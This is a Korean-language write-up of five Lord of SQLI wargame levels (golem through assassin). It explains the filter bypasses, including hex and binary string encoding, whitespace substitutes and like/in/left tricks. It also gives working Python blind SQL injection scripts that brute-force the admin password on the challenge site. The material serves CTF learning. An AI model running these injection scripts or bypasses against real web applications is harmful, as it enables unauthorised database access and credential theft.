본문 바로가기
Wargame Write-Up/LOS

[Lord of SQLI] golem, darkknight, bugbear, giant, assassin 풀이

by snwo 2021. 7. 28.

golem

admin 의 pw 를 알아내면 되는, blind sql injection 문제다.

or, and => ||, && 으로 우회

substr => left 로 우회

'=' => like 로 우회

 

비번 길이는 8

이런느낌으로, blind sqli 소스를 짜보자

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
import string
s=requests.Session()
 
url='https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php?pw='
pw=''
for i in range(1,9):
 
        for c in string.digits+string.ascii_lowercase:
                query="' || id like 'admin' %26%26 left(pw,{0}) like '{2}{1}".format(i,c,pw)
                r=s.get(url+query,cookies={"PHPSESSID":"o1iubt96vd04kqvsk897bb0sbt"})
                if r.text.find("<h2>Hello admin</h2>")!=-1:
                        print(f"{i} : {c}")
                        pw+=c
                        break
 
print(f"[+] password found : {pw}")
cs

 

left 함수는, 두번째 인자만큼 잘라주는 함수인데,

substring 으로 1글자씩 가져와서 비교하는 것과 달리, 

i가 2 이상일 때, 앞에서 찾은 pw도 같이 붙여서 비교해줘야한다.

 

left(pw,1) like 7

left(pw,2) like 77

left(pw,3) like 77d

...

 

pw=77d6290b

 

darkknight

pw 에서 ' (싱글쿼터), 

no 에서 ' (싱글쿼터), substr, ascii, = 가 필터링 되어있다.

 

pw 에서 싱글쿼터를 escape 할 수 없으니, 

no 에 입력해야한다.

 

'admin' 은 goblin 문제처럼, id like 0x61646d696e 이렇게 16진수로 우회할 수 있다.

또한, substrng 함수 대신 left 함수를 쓸껀데, 

left(pw,n) like '~~' 와 비교할 때 문자열도 16진수로 넣어줘야한다.

 

나머지는 golem 문제랑 비슷하다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
import string
import binascii
s=requests.Session()
 
url='https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?no='
pw=''
for i in range(1,9):
 
        for c in string.digits+string.ascii_lowercase:
                query="-1 or id like 0x61646d696e and left(pw,{0}) like 0x{2}{1}".format(i,hex(ord(c))[2:],pw)
                r=s.get(url+query,cookies={"PHPSESSID":"o1iubt96vd04kqvsk897bb0sbt"})
                if r.text.find("<h2>Hello admin</h2>")!=-1:
                        print(r.url)
                        print(f"{i} : {c}")
                        pw+=hex(ord(c))[2:]
                        break
 
print(f"[+] password found : {binascii.unhexlify(pw)}")
cs

 

pw=0b70ea1f

bugbear

필터링이 빡새졌다. pw 에서 ' (싱글쿼터) 를 막고 있으니, escape 할 수 없고, 

no 에서 blind sqli 해야한다.

 

substr => left 로 우회

=, like => in 으로 우회 ( id in ("admin","asdf","guest") 이런식으로 사용)

or,and => 각각 ||, %26%26 (&&) 으로 우회

whitespace ( ) => %0d 로 우회

' , 0x => 문자열을 2진수로 우회

 

이런식으로 우회할 수 있다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
import string
import binascii
s=requests.Session()
 
url='https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?no='
pw=''
for i in range(1,9):
 
        for c in range(48,97):
                query="-1||id%0din%0d(0b110000101100100011011010110100101101110)%26%26left(pw,{0})%0din%0d(0b{1}{2})".format(
                        i,pw,bin(c)[2:].rjust(8,'0'))
                r=s.get(url+query,cookies={"PHPSESSID":"n7k9satifibhacdsnoeuqidci1"})
                if r.text.find("<h2>Hello admin</h2>")!=-1:
                        print(f"{i} : {c}")
                        pw+=bin(c)[2:].rjust(8,'0')
                        print(query)
                        break
 
print(f"[+] password found : {binascii.unhexlify(hex(int(pw,2))[2:])}")
cs

left 대신 mid 함수를 이용해 한 글자씩 비교할 수 있다...

그리고 " (쌍따옴표) 는 필터링 되어있지 않아 사용할 수 있다...

 

pw=52dc3991

giant

from 다음에 공백이 없어 1234 를 db 에서 못뽑아 오고 있다.

1글자여야하고, \n, \r, \t, ' ' (공백) 을 필터링한다.

sql 공백 우회 치면 많이 나오는건데, 

%0b (vertical tab) 으로 공백을 우회할 수 있다.

assassin

pw 를 like 로 비교한다.

like 문은 부분일치하는 컬럼을 찾을 때 사용한다.

와일드문자인 % 를 이용해 비번을 뽑아낼 수 있다.

 

' (single quote) 안에 있으므로 문자열 함수를 사용할 필요는 없다.

 

하지만, admin id 와 부분일치하는 password 를 찾을 수 없어서

guest 의 password 를 찾아봤다.

 

guest 가 admin 보다 먼저 등록이 되어있고, admin 의 password 와 같은 부분이 있으면,

Hello admin 이 아닌, Hello guest 가 떠버린다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import string
import requests
find_str="<h2>Hello admin</h2>"
find_str_2="<h2>Hello guest</h2>"
url="https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php?pw="
strings=string.digits+string.ascii_letters
flag=''
cookies={'PHPSESSID':"qsbs3b3bt57rnqe6hk3micpcij"}
for i in range(0x10):
        for c in strings:
                r=requests.get(url+flag+c+"%",cookies=cookies)
                print(r.url)
                if find_str in r.text:
                        print(r.url)
                        flag+=c
                        break
                elif find_str_2 in r.text:
                        print(r.url)
                        flag+=c
                        break
cs

 

그래서, Hello admin 인지 먼저 비교하고 Hello guest 가 떴다면,

두 password 는 부분일치하므로 기존 문자열 (flag) 에 추가한다.

 

90d2fe10 <- admin password
902efd10 <- guest password

 

admin password 가 사전순으로 먼저 있어서, 

문자열을 브루트포스할 때, 숫자를 먼저 해서 저 익스코드가 먹힌 것 같다.

 

만약 그렇지 않다면, 전체 문자를 검사한 뒤, hello admin 이 없다면,

hello guest 가 뜬 문자를 저장해놨다가 기존 문자열에 추가하는 방법으로도 풀 수 있을 것이다.